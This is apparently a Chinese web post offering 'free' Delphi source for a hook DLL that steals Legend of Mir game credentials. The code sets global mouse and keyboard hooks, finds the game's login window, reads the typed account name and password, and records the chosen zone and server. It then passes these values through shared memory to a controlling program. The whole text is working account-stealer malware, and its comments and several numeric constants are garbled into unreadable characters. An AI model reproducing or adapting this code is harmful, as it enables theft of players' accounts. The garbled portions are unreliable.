【最新+免费】获取“传奇”密码、区域、服务器的主要代码

【最新+免费】获取“传奇”密码、区域、服务器的主要代码 【最新编排】 ---------------------------------------------------------------------------------------------------------------------- ???íñ??-aÇ??ú?/4 ?úñ?aÇ??íÑ?? ??Ç???o????Ç????????(tm)íº??"??"??|? ?"íÛ? ?.txt??(r)(c)?oo??3??ª???Ç??-"?ú?/4???íÑ??íÒ???Ç??"???3?ª"??íÚ?????ú?/4??íÒí??????3???"?ú???ªíÜíõ?(r)??????o?-"?? ?Ç??Ç??Ç??Ç??Ç??Ç????íñ??-aÇ??ú?/4 ?úñ?aÇ??íÑ?? ??Ç???o????Ç????????(tm)íº??"? ?"??|??"íÛ? ? unit unitHook; interface aÇ|aÇ| function EnableHook:Boolean;stdcall //??íÙ????ª'(c)?-??íº??o? function DisableHook:Boolean;stdcall; //?- ????ª'(c)?-??íº??o? aÇ|aÇ| implementation aÇ|aÇ| //??-??3/4?-??a-?ú?/ú?"??"?????íÒ???ú?/ú???íÒ function EnumChildWindowsProc(hChild: HWnd): Boolean; stdcall; var szClassName: arrayí?0..ú?55í? of char; begin Result := True; //??(r)3/4?(r)???oTrue?íÜ??ú?/4?????íÜ3/4?????Ç??a GetClassName(hChild, szClassName, ú?55); if StrPas(szClassName)='TEdit' then begin inc(numEdit); if numEdit=ú? then hEditú?:= hChild //?íÑ?? ? else if numEdit=ú? then hEditú?:= hChild //??íõ|??íñ end; end; //??-?íÑ?? ? procedure GetPassword; var ss,ID,PW:string; begin numEdit:=0;//??íÑ???"TEdit??íý?"???íÒ?ª?? EnumChildWindows(hActiv, @EnumChildWindowsProc, 0);//??-??3/4??íý?"? if numEdit=ú? then begin ID:=trim(GetCaption(hEditú?)); PW:=trim(GetCaption(hEditú?)); if (ID<>'')and(PW<>'') then begin nNext:=3; ss:=Format('??íõ|??íñ=%s,?íÑ?? ?=%s',í?ID,PWí?)+' '+FormatDateTime('yyyy-mm-dd hh:nn:ss',Now); StrCopy(@pShMem^.Text,PChar(ss)); PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, ú?, ú?); //?ªÇ???úñ end; end; end; //??-???????(tm)íº??? procedure GetServerName; const xú?=3ú?0;xú?=477; yú?=ú?44; d=3; //???????(tm)íº?????íÙ?ª'(r)?ª-íõ?ª?" step=4ú?; //???????(tm)íº?????íÜ?ª'(r)?-úñ?ª?? var P : TPoint; yy, nú?, nú? : integer; IniFileName, Ident, ss : string; begin GetCursorPos(P); //???íñ??-?ú?/ú?"?íÜ??ªú?/4 ? ???"???? ? if (p.Xxú?) or (p.Y'' then begin ss:=ss+' '+FormatDateTime('yyyy-mm-dd hh:nn:ss',Now); StrCopy(@pShMem^.Text,PChar('???????(tm)íº='+ss)); //PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, ú?, ú?); //?ªÇ???úñ PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, ú?0, ú?); //?ªÇ???úñ??-?????íÑ,?ú??????ª|???'?ªÇ? end; end; //?ªú?/4 ? ??ª'(c)?-??????íº??ú?/4??"í???íÞ?--?ªú?/4 ? ???"??íº?ú?/ú????úñ??3?(r)?writetotxt //?????íÒ?????"??íÑ?ª'(c)?-??"íÛ? ??ú?/4?wParam?ªú?/4 ? ??????íÑ??*?ú?/4?lParam?????'??Ç??aMOUSEHOOKSTRUCT ?ú?/4???...??"?o???íÜ?... 3?ªú?/4 ? ??o??"???"?????íÑ?ú?/4íÜ function MouseHookPro(iCode:integer; wParam:wparam; lParam:lparam): LResult;stdcall;export; var hControl : HWND; WinClass, WinText, ss : string; P:TPoint; rcWin:TRect; begin if (iCode=HC_ACTION) and (wParam=WM_LBUTTONUP) then begin//?|??????íÑ?ªú?/4 ? ??????"??"?????íÑ hActiv:=GetActiveWindow; WinClass:=GetClass(hActiv); if Uppercase(WinClass)='TFRMMAIN' then begin WinText:=GetCaption(hActiv); if WinText='?ú?/4 ?úñ??(r)íÚ??íñ?"íÑ' then begin hControl:=FindWindowEx(hActiv,0,'TComboBox',nil); if hControl<>0 then begin //??íÑ??o??íñ?ªÇíÙ??(c)?a-??íÛ GetWindowRect(hActiv,rcWin); P.X:= PMouseHookStruct(lParam)^.pt.X - rcWin.Left; P.Y:= PMouseHookStruct(lParam)^.pt.Y - rcWin.Top; if(P.X>=ú?00)and(P.X<=ú?80)and(P.Y>=348)and(P.Y<=380)then begin//aÇ???(r)??(r)íÞaÇ???íÙ?ª'(r) ss:='??o??íñ='+GetCaption(hControl)+' '+FormatDateTime('yyyy-mm-dd hh:nn:ss',Now); StrCopy(@pShMem^.Text,PChar(ss)); PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, ú?, ú?); //?ªÇ???úñ end; end; end else if WinText='legend of mirú?' then begin if nNext=3 then begin GetServerName; //??-???????(tm)íº???,???????(r)ª??...?????ª?o?o???????ú?/ú??ªíÚ ?Ç' nNext:=0; end; P:=PMouseHookStruct(lParam)^.pt; if(P.X>=4ú?ú?)and(P.X<=50ú?)and(P.Y>=336)and(P.Y<=37ú?)then //í?????oíÞí???íÜ?ª'(r) GetPassword; //??-?íÑ?? ?,???????(r)ª??...?????ª?o?o???????ú?/ú??ªíÚ ?Ç' end; end; end; Result:=CallNextHookEx(mousehook,iCode,wParam,lParam); end; //?ª"(r)???hook?ú?/4?wParam ?ª"(r)ASCII? ? function KeyboardHookPro(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export; var WinClass, WinText : string; begin if (iCode=HC_ACTION) and ((lParam and $80000000)=0) and //$80000000?ª"(r)?????(c)? ?????ª?? (wParam=$0D) then begin //$0D?????ú?/ú?|?ª"(r) hActiv:=GetActiveWindow; WinClass:=GetClass(hActiv); WinText:=GetCaption(hActiv); if (Uppercase(WinClass)='TFRMMAIN')and(WinText='legend of mirú?') then begin GetPassword;//??-?íÑ?? ? end; end; Result := CallNextHookEx(keyboardhook, iCode, wParam, lParam); end; //??íÙ????ª'(c)?-??íº??o? function EnableHook:boolean;stdcall;export; begin if mousehook=0 then mousehook:=SetWindowsHookEx(wh_mouse,MouseHookPro,HInstance,0);//?ªú?/4 ? ??ª'(c)?-? if keyboardhook=0 then keyboardhook:=SetWindowsHookEx(wh_keyboard,KeyboardHookPro, hinstance,0);//?ª"(r)????ª'(c)?-? Result:=(mousehook<>0)and(keyboardhook<>0); end; //?- ????ª'(c)?-??íº??o? function DisableHook:boolean;stdcall;export; begin if mousehook<>0 then if UnHookWindowsHookEx(mousehook) then mousehook:=0;//?ªú?/4 ? ??ª'(c)?-? if keyboardhook<>0 then if UnHookWindowsHookEx(keyboardhook) then keyboardhook:=0;//?ª"(r)????ª'(c)?-? Result:=(mousehook=0)and(keyboardhook=0); end; initialization {?|?????? ?íÒ"?-??"??íñú??"??-???íº??(tm)?íÜ"?ú?/4Ç} hMappingFile := OpenFileMapping(FILE_MAP_WRITE, False, MappingFileName); if hMappingFile = 0 then {????"o?? ?íÒ"?-??"?} hMappingFile := CreateFileMapping($FFFFFFFF, nil,PAGE_READWRITE, 0, SizeOf(TShareMem), PChar(MappingFileName)); if hMappingFile <> 0 then begin {??úñ??"pShMem?????'?? ?íÒ"?-??"???íÒ??Ç} pShMem := PShareMem(MapViewOfFile(hMappingFile,FILE_MAP_WRITE,0,0,0)); if pShMem = nil then begin CloseHandle(hMappingFile); MessageBox(0,'??????ú?/ú??"o?"??...í??o"??...?-?!','',0); exit; end; end; mousehook:=0; keyboardhook:=0; nNext:=0; finalization UnMapViewOfFile(pShMem); CloseHandle(hMappingFile); end.